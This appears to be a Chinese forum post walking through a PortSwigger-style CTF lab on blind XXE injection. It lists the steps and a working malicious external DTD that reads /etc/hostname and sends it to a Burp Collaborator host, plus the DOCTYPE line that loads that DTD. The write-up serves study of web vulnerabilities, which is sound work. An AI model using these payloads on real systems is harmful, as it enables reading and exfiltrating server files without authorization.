发帖
 找回密码
 立即注册
搜索
0 0

WEB bp官方靶场xml外部实体(XXE)注入漏洞5

CTF练习 927 0 2025-8-29 21:40:36

第五关 利用盲 XXE漏洞 通过恶意外部 DTD 来窃取数据

这一关就是外部恶意dtd文件和xxe相结合,插入恶意外部实体,通过构造恶意 XML 请求,利用 XXE 漏洞读取目标系统的 /etc/hostname 文件内容

提示:1、靶场具有“检查库存”功能,可解析 XML 输入,但不显示结果。

2、要解决实验室问题,请泄露 /etc/hostname 文件的内容。

具体操作

1、运行burp时,访问产品页面,单击“检查库存”,找到触发的库存检查的POST /product/stock数据包,发往repeater

2、要插入外部DTD文件的话

创建一个外部恶意dtd文件,内容填写获取文件的恶意命令,并且包含burp生成的子域名实现带外交互

burp生成的子域名

uwubtfngqzqmnuqfl6ahgznxfolf9hx6.oastify.com

dtd文件,插入burp生成子域名:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://uwubtfngqzqmnuqfl6ahgznxfolf9hx6.oastify.com/?x=%file;'>">
%eval;
%exfil;

然后点击靶场给的漏洞利用服务器——“Go to exploit server”

点击store保存

然后复制这个url

https://exploit-0a23005b0348278580af25fb0165006e.exploit-server.net/exploit/test.dtd

有个点注意下,文件名的话,直接写成exploit.dtd也是可以的,那么就是

https://exploit-0a23005b0348278580af25fb0165006e.exploit-server.net/exploit.dtd

在 XML 声明和 stockCheck 元素之间插入以下外部实体定义,通过添加引用恶意 DTD 的参数实体:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a23005b0348278580af25fb0165006e.exploit-server.net/exploit/test.dtd"> %xxe;]>

然后去协作者服务器查看回显,然后单击“Poll now”。如果没有看到任何互动,请等待几秒钟,然后重试:

看到应用程序因有效负载而启动的一些 DNS 和 HTTP 交互。HTTP 交互可以包含 /etc/hostname 文件的内容。

3c12eca1327d

提交文件内容答案,靶场过关

──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回